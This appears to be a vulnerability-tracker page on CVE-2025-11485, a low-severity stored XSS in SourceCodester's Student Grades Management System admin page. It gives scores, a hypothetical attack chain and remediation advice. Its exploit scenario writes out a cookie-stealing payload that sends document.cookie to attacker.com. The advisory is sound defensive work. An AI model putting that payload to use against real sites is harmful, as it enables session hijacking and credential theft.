Student Grades Management System
CVE-2025-11485
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCompromise admin account or social engineer admin
-
DeliveryAccess admin panel and Manage Users page
-
ExploitSubmit add_user request with XSS payload in name field
-
InstallPayload stored in database
-
C2Admin visits Manage Users page
-
ExecuteMalicious script executes in admin browser
-
ImpactSession hijacking or credential theft
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of the following conditions: (1) Valid administrator account access to the Student Grades Management System with permission to access /admin.php and the Manage Users function - unauthenticated remote users cannot trigger the vulnerability; (2) Ability to submit the add_user function with first_name or last_name parameters containing XSS payload (no apparent input length or character restrictions noted in available descriptions); (3) Another administrator or user with access to the Manage Users page must actively view the page where the injected payload is stored and rendered - the malicious script does not execute in the attacker's own browser but only in other users' browsers viewing that page. These conditions significantly limit real-world exploitation compared to a remote unauthenticated XSS vulnerability, as attackers must either possess or compromise an administrator account, and must wait for a victim to visit the Manage Users page. Default installations without security hardening are vulnerable, but the application does not expose XSS by design in typical usage patterns - it requires the confluence of administrator access + administrator inattention to input filtering. |
| Impact | This vulnerability presents significantly lower real-world risk than its CVE listing might initially suggest, despite public exploit availability. The CVSS v4.0 score of 1.9 is misleading - it reflects a network attack vector (AV:N) but is heavily mitigated by multiple restrictive factors: high privilege requirement (PR:H - administrator role only), user interaction requirement (UI:P - victim must view the affected page), and limited impact scope (integrity only, VI:L - low confidentiality/integrity impact). The EPSS score of 0.03% (9th percentile) is the critical reality check here - despite public POC availability, exploitation probability remains minimal due to the convergence of access controls. Attack feasibility requires: (1) valid administrator account or account compromise, (2) ability to craft first_name/last_name input without validation bypass, (3) another user (victim) actively viewing the Manage Users page. The stored XSS does not enable direct privilege escalation, code execution, or system compromise - only session hijacking or credential theft from other administrators viewing the user list. Organizations using this system should apply layered defenses (input validation, output encoding, CSP headers) but should prioritize patching higher-CVSS, lower-privilege vulnerabilities first if remediation resources are constrained. |
| Exploit ScenarioDerived | An administrator with malicious intent or a threat actor who has compromised an administrator account logs into the Student Grades Management System and navigates to the Manage Users page. They click 'Add User' and enter a payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">' in the first_name field. This payload is stored in the database without sanitization. When another administrator later visits the Manage Users page to review the user list, the malicious script executes in their browser context, sending their session cookies to the attacker's server, enabling session hijacking. Exploitation is feasible because public exploit code is available (GitHub POC referenced), but real-world impact remains low due to the administrator-only access requirement. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in SourceCodester Student Grades Management System 1.0 allows authenticated administrators with high privileges to inject malicious scripts via the first_name or last_name parameters in the Manage Users Page (/admin.php), which are then executed when viewed by other users. The vulnerability requires administrator authentication and user interaction (page view), limiting real-world impact despite public exploit availability. EPSS exploitation probability is extremely low (0.03%, 9th percentile), reflecting the restrictive access controls (PR:H) and user interaction requirement (UI:P) despite network-accessible delivery.
RemediationAI
Vendor-released patch status not confirmed from available data - contact SourceCodester at https://www.sourcecodester.com/ to request a patched version. Immediate workarounds include: (1) Implement strict input validation on first_name and last_name fields by whitelisting alphanumeric characters and common name separators (hyphens, apostrophes) and rejecting any HTML/JavaScript syntax; (2) Apply HTML entity encoding (htmlspecialchars() in PHP with ENT_QUOTES flag) to all user-controlled data when rendering the Manage Users page; (3) Deploy a Content Security Policy (CSP) header prohibiting inline script execution (script-src 'self'; style-src 'self'); (4) Restrict access to /admin.php via network-level controls (IP whitelisting, VPN requirement) to reduce the number of administrator accounts with access; (5) Monitor admin page access logs for suspicious first_name/last_name patterns containing script tags or event handlers. Note that input validation alone is insufficient - output encoding is mandatory for XSS prevention. If the application allows direct HTML/script input by design, disable that functionality for user name fields.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in a PHP-based student management application where user input via the add_user function in /admin.php is not properly sanitized or encoded before storage and display. The affected parameters (first_name, last_name) are injected into the database and later reflected in the Manage Users interface without HTML entity encoding or content security policy protections. This is a classic stored XSS vulnerability (CWE-79) where an attacker-controlled string persists in the application and executes in the context of other authenticated users' browsers. The vulnerability specifically affects version 1.0 of the Student Grades Management System (CPE: cpe:2.3:a:remyandrade:student_grades_management_system:1.0:*:*:*:*:*:*:*), a web application built with PHP.
Know when Student Grades Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability was determined in SourceCodester Student Grades Management System 1.0. Affected is the function add_user of the file /admin.php of the component Manage Users Page. This manipulation of the argument first_name/last_name causes cross site scripting. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
A vulnerability was determined in SourceCodester Student Grades Management System 1.0. Rated medium severity (CVSS 6.8),
Sourcecodester Student Grades Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in the Add New Subject
Improper authorization in SourceCodester Student Grades Management System 1.0 allows authenticated remote attackers to m
Improper authorization in SourceCodester Student Grades Management System 1.0 permits authenticated remote attackers to
Cross-site request forgery in SourceCodester Student Grades Management System 1.0 enables remote attackers to perform un
A vulnerability has been found in SourceCodester Student Grades Management System 1.0.php of the component Add New Grade
Cross-site scripting in SourceCodester Student Grades Management System 1.0 allows a low-privileged authenticated attack
Stored cross-site scripting (XSS) vulnerability in SourceCodester Student Grades Management System 1.0 allows authentica
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB